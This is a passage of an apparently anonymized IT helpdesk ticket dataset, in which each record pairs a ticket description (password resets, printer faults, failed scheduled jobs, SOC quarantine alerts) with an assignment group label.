, is assigned to Assignment group: GRP\_34.Ticket with Short description: password reset for xhaomnjl ctusaqpr, Description: password reset for xhaomnjl ctusaqpr, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset request , Description: password reset request , is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_855685, Description: ticket update on inplant\_855685, is assigned to Assignment group: GRP\_0.Ticket with Short description: can't add a note to an account on the mobile, Description: can't add a note to an account on the mobile. i wanted to be able to demonstrate this in a meeting tomorrow but this error is blocking the ability to add a note., is assigned to Assignment group: GRP\_40.Ticket with Short description: stock transfer pricing error - intercompnay inwarehouse\_tool did not reverse, Description: they reversed the intercompany shipment but the intercompany inwarehouse\_tool did not reverse. i ran the billing document tables and do not see the reversal there either.\_x000D\_
(see attached email), is assigned to Assignment group: GRP\_10.Ticket with Short description: unable to print from dv28, Description: unable to print from dv28, is assigned to Assignment group: GRP\_0.Ticket with Short description: account unlock, Description: account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: can you tell me the phone number for office 44 at the usx tower?, Description:
received from: azxhejvq.fyemlavd@gmail.com
mikhghytr wafglhdrhjop
sr. manager, global ethics and compliance programdntys
, is assigned to Assignment group: GRP\_0.Ticket with Short description: login script pop up query, Description: login script pop up query, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_855239, Description: ticket update on inplant\_855239, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1359 failed in job\_scheduler at: 08/30/2016 15:01:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1359 failed in job\_scheduler at: 08/30/2016 15:01:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: install project 2013 for petrhyr, Description: install project 2013 for petrhyr, is assigned to Assignment group: GRP\_3.Ticket with Short description: vip2: printer setup, Description: vip2: printer setup, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account locked , Description: erp SID\_34 account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not connected to server & having queries on connecting to external monitors, Description: outlook not connected to server & having queries on connecting to external monitors, is assigned to Assignment group: GRP\_0.Ticket with Short description: printer new driver update needed, Description: name:kaguhxwo uoyipxqg
language:
browser:microsoft internet explorer
email:kaguhxwo.uoyipxqg@gmail.com
customer number:
telephone:172
summary:printer new driver update needed, is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering tool locked out , Description:
received from: nabjpdhy.bjuqwidt@gmail.com
hello
i changed my passwords and i tried to log onto engineering tool and it says too many failed attempted. see attached screenshot.
stefyty hunt
prototype tech, product engineering
nabjpdhy.bjuqwidt@gmail.com<mailto:nabjpdhy.bjuqwidt@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset to annette, Description: ic\_x000D\_
welcome, our next available agent will be with you shortly...\_x000D\_
interaction alerting agent.\_x000D\_
website visitor has joined the conversation\_x000D\_
rakthyesh ramdntythanjesh\_x000D\_
hi robhyertyj\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows asks to install driver and then won't allow me to print, Description: please complete all required questions below. \_x000D\_
if not, it will be returned back to the gsc / requester to provide required information\_x000D\_
\_x000D\_
â€¢ gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart.\_x000D\_
\_x000D\_
â€¢ printer name / make - model? (all printers - even local) \_x000D\_
\_x000D\_
â€¢ detailed description of the problem ? windows needs to download and install a software driver from the ??HostName\_769 computer to print to cl05. (same message for all printers)\_x000D\_
\_x000D\_
â€¢ type of documents not printing? (email â€“ excel â€“ wordâ€¦etc) \_x000D\_
(inwarehouse\_tool â€“ delivery note â€“ production orderâ€¦etc) all documents will not print from any source\_x000D\_
\_x000D\_
â€¢ what system or application being used at time of the problem? outlook, excel, erp - all of them\_x000D\_
â€¢ if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed? shutdown computer and printer. same error message.\_x000D\_
\_x000D\_
â€¢ if erp system, which system? (ex SID\_34 / SID\_38 / hrp / plm) - all \_x000D\_
\_x000D\_
â€¢ if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?\_x000D\_
what printer can it be rerouted too? \_x000D\_
\_x000D\_
â€¢ if document is not printing correctly, please scan copy of the document and attach to the ticketing\_tool ticket., is assigned to Assignment group: GRP\_0.Ticket with Short description: office 365 activation on corporate phone, Description: office 365 activation on corporate phone, is assigned to Assignment group: GRP\_0.Ticket with Short description: request to reset microsoft online services password for pvtiqgsh.orlzgfsx@gmail.com, Description: request to reset microsoft online services password for pvtiqgsh.orlzgfsx@gmail.com, is assigned to Assignment group: GRP\_0.Ticket with Short description: delete print jobs on prtqc4604, Description: delete print jobs on prtqc4604, is assigned to Assignment group: GRP\_0.Ticket with Short description: i changed my password and now cant sign into skype, Description: name:mikhghytr
language:
browser:microsoft internet explorer
email:vcyktjxp.uxdojvrq@gmail.com
customer number:
telephone:971
summary:i changed my password and now cant sign into skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: eror message on refreshing the bex analysis. error atached., Description: eror message on refreshing the bex analysis. error atached.
phone: 724, is assigned to Assignment group: GRP\_9.Ticket with Short description: hr\_tool queries for former employee : hanghdyle, Description: hr\_tool queries for former employee : hanghdyle, is assigned to Assignment group: GRP\_0.Ticket with Short description: re: ticket\_no1538811::company center authorization, Description: \_x000D\_
\_x000D\_
received from: zdnqowag.cdtyonhw@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
this is approved.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update for inplant\_855685, Description: ticket update for inplant\_855685, is assigned to Assignment group: GRP\_0.Ticket with Short description: request for temporary access to f.80 mass reversal, Description: \_x000D\_
\_x000D\_
received from: rhwsmefo.tvphyura@gmail.com\_x000D\_
\_x000D\_
hello. i need to request 1 week temporary access to f.80 in erp SID\_34 to correct duplicate payments in erp. , is assigned to Assignment group: GRP\_2.Ticket with Short description: problem with erp not updating orders after getting picked through warehouse\_tool, Description: problem with erp not updating orders after getting picked through warehouse\_tool, is assigned to Assignment group: GRP\_18.Ticket with Short description: ticket update for inplant\_855671, Description: ticket update for inplant\_855671, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not launching, Description: outlook not launching.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-reconfigured the mscrm.\_x000D\_
-caller confirmed that he is now able to see the emails on outlook.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update regarding ticket\_no1543461 from tqvpohwj tbkywpqz, Description: ticket update regarding ticket\_no1543461 from tqvpohwj tbkywpqz, is assigned to Assignment group: GRP\_0.Ticket with Short description: need to map/add network printer, Description: need to map/add network printer, is assigned to Assignment group: GRP\_0.Ticket with Short description: jerghjemiah brock, your windows password is expiring soon!!i need assistance resetting my password. , Description: jerghjemiah brock, your windows password is expiring soon!!i need assistance resetting my password. , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to send email to hrscc team from external email address , Description: unable to send email to hrscc team from external email address , is assigned to Assignment group: GRP\_26.Ticket with Short description: all permissions for discounts has been removed for znq,zno,znr, zns need to be restored for the whole mti team, Description: all permissions for discounts has been removed for znq,zno,znr, zns need to be restored for the whole mti team, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to launch erp. logon balancing error, Description: unable to launch erp. logon balancing error, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on ticket\_no0434826, Description: ticket update on ticket\_no0434826, is assigned to Assignment group: GRP\_0.Ticket with Short description: please identify source user involved in processing deletion of terminated user, Description: from: ugyothfz ugrmkdhx
sent: tuesday, august 30, 2016 8:21 pm
to: zkevitua nesbfirjeerabhadrappa <zkevitua.nesbfirj@gmail.com>
cc: hnynhsth jsuyhwssad <bxspwfyo.vzystwor@gmail.com>
subject: rjtnlocs fclswxkz (tanrgty)
hello aghynil,
request your assistance in identifying the source user who processed the deletion of the terminated user (in subject). let me know if you need a sn ticket to be created. , is assigned to Assignment group: GRP\_39.Ticket with Short description: HostName\_1007: volume consumed on c:\ disk is more than 85%., Description: HostName\_1007: volume consumed on c:\ disk is more than 85%., is assigned to Assignment group: GRP\_12.Ticket with Short description: email delegation , Description: email delegation , is assigned to Assignment group: GRP\_0.Ticket with Short description: rqxmaindept ad account keeps getting locked. please unlock., Description: rqxmaindept ad account keeps getting locked. please unlock., is assigned to Assignment group: GRP\_12.Ticket with Short description: skype login issue , Description: :440-
summary:unable to log into skype after password change yesterday., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to vpn, Description: unable to connect to vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook issue , Description: outlook issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: konto scghhnell reaktivieren- laptop ewel7212519, Description: konto scghhnell reaktivieren- laptop ewel7212519, is assigned to Assignment group: GRP\_24.Ticket with Short description: collaboration\_platform emails, Description: \_x000D\_
\_x000D\_
received from: fgsmwvcp.uoxkzwes@gmail.com\_x000D\_
\_x000D\_
it:\_x000D\_
mhtyike szumyhtulas is receiving the attached emails.\_x000D\_
these employees do not report to him. please advise why he is receiving these?\_x000D\_
, is assigned to Assignment group: GRP\_16.Ticket with Short description: need to configure printer, Description: need to configure printer, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset., Description: erp SID\_34 password reset., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset., Description: erp SID\_34 password reset., is assigned to Assignment group: GRP\_0.Ticket with Short description: wifi guest account, Description: wifi guest account, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to boot laptop, Description: unable to boot laptop, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset done. confirmed with user., Description: erp SID\_34 password reset done. confirmed with user., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1953b failed in job\_scheduler at: 08/30/2016 10:18:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1953b failed in job\_scheduler at: 08/30/2016 10:18:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: need to setup exchange on corporate iphone, Description: need to setup exchange on corporate iphone, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset done. confirmed with user., Description: erp SID\_34 password reset done. confirmed with user., is assigned to Assignment group: GRP\_0.Ticket with Short description: inc1544821 - ticket update, Description: inc1544821 - ticket update, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to launch engineering\_tool, Description: unable to launch engineering\_tool, is assigned to Assignment group: GRP\_3.Ticket with Short description: ç­”å¤: ticket\_no1538811::company center authorization, Description:
received from: udzkgbwl.bgpedtqc@gmail.com
hello rubiargty
need access same as karghyuen.
best , is assigned to Assignment group: GRP\_21.Ticket with Short description: problemas de configuraÃ§Ã£o no quick quote, Description: as imagens nÃ£o alteramdnty quando solicitadas dificultando assim a cotaÃ§Ã£o de ferramdntyentas especiais., is assigned to Assignment group: GRP\_62.Ticket with Short description: mapping network , Description: mapping network , is assigned to Assignment group: GRP\_0.Ticket with Short description: palghjmal1 is not able to run softland client through citrix, Description: qohfjpna exphkims (palghjmal1) is not able to run softland client through citrix. it shows an error when loading the application.\_x000D\_
please see attached error. i have uacyltoe hxgayczeed from other pc's and got same problem., is assigned to Assignment group: GRP\_12.Ticket with Short description: install shop\_floor\_app on my machine, Description: install shop\_floor\_app on my machine, is assigned to Assignment group: GRP\_3.Ticket with Short description: outlook cache email query., Description: outlook cache email query., is assigned to Assignment group: GRP\_0.Ticket with Short description: new cpp id can not request initiative. see image attached, Description: cphlme01\_x000D\_
, is assigned to Assignment group: GRP\_21.Ticket with Short description: re: ticket\_no1538811::company center authorization, Description:
received from: rubiargty.fatgrtyma@company.com
hello cathytyma,
update the position title as per request. regarding access please provide copy access person's name.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ç­”å¤: ticket\_no1538811::company center authorization, Description: \_x000D\_
\_x000D\_
received from: udzkgbwl.bgpedtqc@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
\_x000D\_
i'm still waiting for problem resolve. please advise who's approval you still need, or when i can have access.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: whenever i open an email with a jpg attachement i always get a security warning> , Description: whenever i open an email with a jpg attachement i always get a security warning> , is assigned to Assignment group: GRP\_3.Ticket with Short description: all of the presentations posted for drive this week are not appearing on the approval page. , Description: all of the presentations posted for drive this week are not appearing on the approval page. tomashtgd mchectg likes to use the approval page to navigate around the presentations, so i'm sure he will notice it is not working correctly.\_x000D\_
\_x000D\_
see attached file for details and urls., is assigned to Assignment group: GRP\_16.Ticket with Short description: i can not print. it is asking me to install a print driver, Description: i can not print. it is asking me to install a print driver\_x000D\_
\_x000D\_
i can not print. it is asking me to install a print driver\_x000D\_
i did with nothing happened, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for cpmaidhj elbaqmtp using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: erp salary statement, Description: my lauacyltoe hxgaycze salary statement was on 6/30/2016. i am continuing to get paychecks, just unable to see salary statement in erp. have been going through the hub.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_52.Ticket with Short description: s&op, Description:
received from: uyrpdvoq.mbzevtcx@gmail.com
could you please reset my password
uyrpdvoq mbzevtcx
sales manager earthworks european served area â€“ north
uyrpdvoq.mbzevtcx@gmail.com<mailto:uyrpdvoq.mbzevtcx@gmail.com>
company infrastructure gmbh
geschÃ¤ftsfÃ¼hrer: phvkowml azbtkqwx und naruedlk mpvhakdq
www.company.com<
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ess access for user ghaltiek lsuepvyx (yesilc), Description: ess access for user ghaltiek lsuepvyx. please find error message attached.
phone: 0157, is assigned to Assignment group: GRP\_2.Ticket with Short description: 'repeat outbound connection for 135/tcp, Description: user id dalgtylam place in quarantine\_x000D\_
\_x000D\_
we are seeing your 80.71.06.702/company-european-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from edml8111119/10.16.143.33 to port 135/tcp (remote procedure call (rpc)) of external host 31.199.53.10. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code. we are escalating this incident to you via a medium priority ticket and email per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at 877. 1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call) 2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal), is assigned to Assignment group: GRP\_69.Ticket with Short description: printer driver update, Description: printer driver update, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp training queries , Description: erp training queries , is assigned to Assignment group: GRP\_0.Ticket with Short description: problem with office365.com, Description:
received from: zywoxerf.paqxtrfk@gmail.com
dear help desk:
my office365 always gives me a blank page, see below for a screen shot. please help.
[cid:image001.png@01d20292.c6465901]
x. jdamieul fandyhgg
phd, us
senior staff engineer
zywoxerf.paqxtrfk@gmail.com<mailto:zywoxerf.paqxtrfk@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: repeat outbound connection for 135/tcp, Description: user zhengdr placed in palo\_virus\_quarantine\_x000D\_
\_x000D\_
incident overview\_x000D\_
=========================\_x000D\_
we are seeing your 54.96.80.216/att-apac-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from aenl8811417/12.41.82.81268 to port 135/tcp (remote procedure call (rpc)) of external host 180.168.41.175. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code.\_x000D\_
\_x000D\_
we are escalating this incident to you via a medium priority ticket and email per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at 877. \_x000D\_
\_x000D\_
1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call)\_x000D\_
2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal), is assigned to Assignment group: GRP\_30.Ticket with Short description: printer configuration , Description: printer configuration , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset., Description: erp SID\_34 password reset done. confirmed with user., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1314 failed in job\_scheduler at: 08/30/2016 08:20:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1314 failed in job\_scheduler at: 08/30/2016 08:20:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: logon error in erp SID\_1, Description: logon error in erp SID\_1, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage:usa, nv - divestiture site :secondary vpn circuit is down since at 8:04 am et on 08/30.primary is up , Description: what type of outage: \_\_\_\_\_network \_x\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_8:04 am et on 08/30\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: job SID\_11\_uacyltoe hxgaycze failed in job\_scheduler at: 08/30/2016 07:52:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_11\_uacyltoe hxgaycze failed in job\_scheduler at: 08/30/2016 07:52:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: sn access, Description: \_x000D\_
\_x000D\_
received from: rdfjsawg.zpmxgdcw@gmail.com\_x000D\_
\_x000D\_
please add user vvkatts to ticketing\_tool erp finance group.\_x000D\_
\_x000D\_
let me know if you have any questions.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not loading , Description: outlook not loading , is assigned to Assignment group: GRP\_0.Ticket with Short description: can't access expense reporting through employee self service, Description: when trying to enter the expense reporting tab to create a new expense report, a window pops up and says critical runtime error and i can't access the expense reporting page. other aspects of my expense reporting page in employee self service don't work as well. , is assigned to Assignment group: GRP\_2.Ticket with Short description: windows printing issues / need driver installed on every printer but it does not complete successfully., Description: windows printing issues / need driver installed on every printer but it does not complete successfully.\_x000D\_
print server HostName\_769., is assigned to Assignment group: GRP\_12.Ticket with Short description: HostName\_145: volume comsumed on /dev/hd3 is more than 85%., Description: HostName\_145: volume comsumed on /dev/hd3 is more than 85%., is assigned to Assignment group: GRP\_47.Ticket with Short description: erp SID\_34 password reset., Description: erp SID\_34 password reset., is assigned to Assignment group: GRP\_0.Ticket with Short description: emails are not working, Description: emails are not working, is assigned to Assignment group: GRP\_0.Ticket with Short description: impact award password reset., Description: impact award password reset., is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset request., Description: password reset request., is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset through password\_management\_tool password manager, Description: password reset through password\_management\_tool password manager, is assigned to Assignment group: GRP\_0.Ticket with Short description: ad account lock out , Description: ad account lock out , is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked out in ad, Description: account locked out in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: telephony\_software 2016 r2 - please can you reset & release my password ?, Description: \_x000D\_
\_x000D\_
received from: hupnceij.hyozjakb@gmail.com\_x000D\_
\_x000D\_
hello all,\_x000D\_
how are you?\_x000D\_
\_x000D\_
telephony\_software 2016 r2 - please can you reset & release my password ?\_x000D\_
\_x000D\_
sincÃ¨res salutations, best , is assigned to Assignment group: GRP\_7.Ticket with Short description: microsoft outlook not work - user bhqvklgc vscdzjhg, Description: after change the password using password\_management\_tool, outlook not work.
we've deleted the profiles and reconfigured outlook again, but is asking the password continuously.
user: bhqvklgc vscdzjhg
e-mail: bhqvklgc.vscdzjhg@gmail.com
user id: marrthyu
computer name: ekbl8111197
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ad account locked out , Description: ad account locked out , is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook fails to open., Description: outlook fails to open., is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage : company-eu-gbr-united kingdom-dmvpn-1921-rtr01.lookup located at united kingdom is down., Description: circuit outage : company-eu-gbr-united kingdom-dmvpn-1921-rtr01.lookup located at united kingdom went down at 05:13 am et on 08/30., is assigned to Assignment group: GRP\_8.Ticket with Short description: HostName\_1010: erpstartsrv.exe service is down., Description: HostName\_1010: erpstartsrv.exe service is down., is assigned to Assignment group: GRP\_14.Ticket with Short description: erp SID\_37 password reset and unlock account request , Description: erp SID\_37 password reset and unlock account request , is assigned to Assignment group: GRP\_0.Ticket with Short description: new password for erp SID\_37 (bex) needed, Description: \_x000D\_
\_x000D\_
received from: ptyxefvk.fhazbrwn@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
could you please provide me a new password for bex?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password expires, Description: \_x000D\_
\_x000D\_
received from: loqdtrfn.apxmsjkc@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
during my holidays my password expires and i couldn't change this.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job HostName\_1019fail\_vig\_uacyltoe hxgaycze failed in job\_scheduler at: 08/30/2016 05:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019fail\_vig\_uacyltoe hxgaycze failed in job\_scheduler at: 08/30/2016 05:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: erp printers ng20 and ng 43 are printing on both sides (erp documents). needs to be changed to single side printing., Description: erp printers ng20 and ng 43 are printing on both sides (erp documents). needs to be changed to single side printing.\_x000D\_
users: \_x000D\_
mxwibrtg qbsmonwv\_x000D\_
cwfzldts dlmukhyn\_x000D\_
uxpytsdk kyamilds\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: erp SID\_34 account unlock., Description: erp SID\_34 account unlock., is assigned to Assignment group: GRP\_0.Ticket with Short description: setup new ws \strahlraum \xaqzisrk ahbgjrqz, Description: setup new ws \strahlraum \xaqzisrk ahbgjrqz, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup new ws \strahlraum \ujtmipzv cwdzunxs, Description: setup new ws \strahlraum \ujtmipzv cwdzunxs, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup new ws \strahlraum \fyedqgzt jdqvuhlr, Description: setup new ws \strahlraum \fyedqgzt jdqvuhlr, is assigned to Assignment group: GRP\_24.Ticket with Short description: vfx3, 4 interco inwarehouse\_tools cannot be processed, Description: error: no number range number has been recorded for billing document xxx\_x000D\_
\_x000D\_
inwarehouse\_tools (all sales org 1268)\_x000D\_
0340093016\_x000D\_
9239982988\_x000D\_
0340006052\_x000D\_
9239997472\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_13.Ticket with Short description: der drucker druckt nicht \hp 4200 \rfvmeyho qgtxjsdc, Description: der drucker druckt nicht \hp 4200 \rfvmeyho qgtxjsdc, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup new ws\ rechner alte schmiede \nfayqjhg kyswcpei, Description: setup new ws\ rechner alte schmiede \nfayqjhg kyswcpei, is assigned to Assignment group: GRP\_24.Ticket with Short description: reset passwords for bxeagsmt zrwdgsco using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: unable to print company label, Description: \_x000D\_
\_x000D\_
received from: rxoynvgi.ntgdsehl@gmail.com\_x000D\_
\_x000D\_
hi it team\_x000D\_
\_x000D\_
kindly please assist as we unable to print company label.\_x000D\_
no error message prompted, nothing print out from zebra label printer. , is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: tablet - dell 7350 - ç”µè„‘æ’­æ”¾éŸ³é¢‘æ–‡ä»¶æ²¡æœ‰å£°éŸ³ã€‚, Description: please provide details of the issue.\_x000D\_
ç”µè„‘æ’­æ”¾éŸ³é¢‘æ–‡ä»¶æ²¡æœ‰å£°éŸ³ï¼Œskypeä¹Ÿæ²¡æœ‰å£°éŸ³ã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: please, reset password erp SID\_34 production, Description: name:shathyra
language:
browser:microsoft internet explorer
email:gvktqfrj.uawjnfel@gmail.com
customer number:
telephone:+390
summary:please, reset password erp SID\_34 production
user grargtzzt, is assigned to Assignment group: GRP\_0.Ticket with Short description: label printer network lost , Description: label printer network lost , is assigned to Assignment group: GRP\_31.Ticket with Short description: iphoneä¸Šçš„skypeä¸èƒ½ç™»å½•ä¸èƒ½å‚åŠ ä¼šè®®ï¼Œè¯·è½¬ç»™å°è´ºã€‚, Description: iphoneä¸Šçš„skypeä¸èƒ½ç™»å½•ä¸èƒ½å‚åŠ ä¼šè®®ï¼Œè¯·è½¬ç»™å°è´ºã€‚, is assigned to Assignment group: GRP\_30.Ticket with Short description: vpnä¸èƒ½ä½¿ç”¨ï¼Œè¯·è½¬ç»™å°è´º, Description: vpnä¸èƒ½ä½¿ç”¨ï¼Œè¯·è½¬ç»™å°è´º, is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to enter/ select account asignment category, Description: see attached screenshot, is assigned to Assignment group: GRP\_29.Ticket with Short description: druckerzuordnung zum disponenten, Description: \_x000D\_
\_x000D\_
received from: icnjlzas.cvphuknj@gmail.com\_x000D\_
\_x000D\_
hallo,\_x000D\_
\_x000D\_
weil unser erp-drucker rn33 defekt ist, nutzen wir Ã¼bergangsweise den rn26.\_x000D\_
wÃ¼rden sie bitte deshalb alle disponenten im werk plant\_223, die momentan dem rn33 zugordnet sind, auf rn26 Ã¤ndern?\_x000D\_
\_x000D\_
\_x000D\_
--\_x000D\_
mit freundlichen grÃ¼ÃŸen / kind , is assigned to Assignment group: GRP\_5.Ticket with Short description: job HostName\_1019fail failed in job\_scheduler at: 08/30/2016 02:03:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019fail failed in job\_scheduler at: 08/30/2016 02:03:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: receiving mails from unknown , Description: \_x000D\_
\_x000D\_
received from: wdybmizf.ekqgpaus@gmail.com\_x000D\_
\_x000D\_
hello ,\_x000D\_
i am receiving some mails from uperformsystem@ancile.com<mailto:uperformsystem@ancile.com> ,is that a spam mail ?if not , why i am receiving this mails ? please provide the details .\_x000D\_
\_x000D\_
[cid:image001.png@01d202af.93870f00]\_x000D\_
[cid:image002.png@01d202af.93870f00]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: job bkwin\_HostName\_768\_inc failed in job\_scheduler at: 08/30/2016 01:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_HostName\_768\_inc failed in job\_scheduler at: 08/30/2016 01:30:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: habe gestern mein passwort geÃ¤ndert. nun verbindet sich outlook nicht mit axeclkro.snfmerdb@gmail.com. , Description: kann anmeldetaten eingeben, aber fenster kommt immer wieder.... anmeldung gelingt nicht.\_x000D\_
heute nochmal passwort geÃ¤ndert. gleiches problem.\_x000D\_
kann outlook nicht nutzen und keine mails bearbeiten.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to shop floor system , Description: unable to login to shop floor system \_x000D\_
\_x000D\_
error:- authentication failed , is assigned to Assignment group: GRP\_0.Ticket with Short description: job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 08/30/2016 01:10:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
